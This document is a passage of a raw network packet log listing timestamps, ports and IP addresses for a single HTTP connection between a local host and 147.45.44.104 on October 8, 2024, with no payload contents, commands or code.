Oct 8, 2024 03:30:55.755167961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755183935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755211115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755222082 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755228996 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755245924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755261898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755264997 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755279064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755296946 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755297899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755316019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755332947 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755498886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755517006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755532026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755548000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755548954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755568027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755574942 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755584955 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755605936 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755606890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755634069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755644083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755656004 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755671978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755688906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755695105 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755712032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755726099 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755731106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755748987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755765915 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755769014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755783081 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755800009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755800962 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755815029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755836010 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755878925 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755894899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755911112 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755918026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755928993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755947113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755948067 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755963087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755980015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.755985022 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.755995989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756011963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756016970 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.756028891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756050110 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.756139040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756155014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756171942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756181002 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.756181002 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.756189108 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756206989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756222963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756239891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756249905 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.756249905 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.756272078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756282091 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.756299973 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756315947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756330967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756335974 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.756350040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756370068 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.756376982 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756392956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756408930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756413937 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.756424904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.756444931 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.806931019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.843832970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.843857050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.843873978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.843889952 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.843908072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.843924046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.843941927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844037056 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844037056 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844037056 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844366074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844382048 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844410896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844412088 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844427109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844444990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844450951 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844461918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844480038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844481945 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844516039 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844599009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844619036 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844635963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844655037 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844661951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844677925 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844691992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844700098 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844708920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844724894 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844738007 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844758987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844774008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844784021 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844790936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844809055 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844810009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844839096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844850063 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844856977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844872952 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844888926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844892979 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844909906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844937086 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844940901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844957113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844971895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.844983101 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.844989061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845005989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845010996 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845022917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845042944 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845082045 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845096111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845110893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845120907 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845129013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845144033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845149040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845170975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845180988 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845186949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845204115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845220089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845225096 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845247984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845257998 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845266104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845283031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845299006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845302105 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845316887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845334053 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845411062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845426083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845444918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845448017 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845462084 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845480919 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845490932 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845506907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845521927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845532894 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845552921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845561981 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845570087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845586061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845606089 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845614910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845628977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845644951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845649958 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845662117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845679045 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845684052 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845695972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845714092 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845716000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845756054 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845777035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845792055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845817089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845828056 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845834970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845851898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845868111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845873117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845884085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845900059 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845904112 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845936060 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.845973015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.845988989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846004009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846029043 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846031904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846050024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846065998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846069098 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846082926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846097946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846101046 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846115112 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846137047 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846163034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846179962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846199989 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846330881 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846347094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846363068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846368074 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846379995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846395969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846396923 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846411943 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846427917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846436024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846447945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846463919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846466064 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846479893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846496105 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846501112 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846513033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846530914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846533060 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846566916 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846585035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846600056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846613884 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846630096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846636057 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846646070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846662998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846667051 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846679926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846698999 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846703053 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846744061 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846754074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846771955 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846786976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846805096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846808910 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846822977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846838951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846838951 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846865892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846884966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846924067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846951008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846965075 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.846970081 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.846987963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.847003937 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.847006083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.847021103 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.847037077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.847040892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.847054005 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.847070932 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.847071886 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.847105026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.934293032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934314966 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934331894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934457064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934467077 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.934473038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934489012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934501886 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.934508085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934534073 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.934875965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934917927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934936047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934936047 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.934952974 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934969902 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.934987068 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.935028076 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.935059071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935075998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935091019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935105085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935117960 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.935137033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935156107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935175896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935179949 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.935201883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935213089 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.935220003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935237885 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935250044 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.935266018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935280085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935282946 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.935307026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935321093 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.935326099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935343027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935362101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.935370922 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.935429096 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936131954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936156988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936173916 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936189890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936206102 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936209917 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936232090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936232090 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936249018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936264038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936280012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936280012 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936295033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936301947 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936311960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936328888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936336040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936346054 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936373949 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936379910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936398029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936413050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936420918 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936429977 CEST	80	49730	147.45.44.104	192.168.2.4
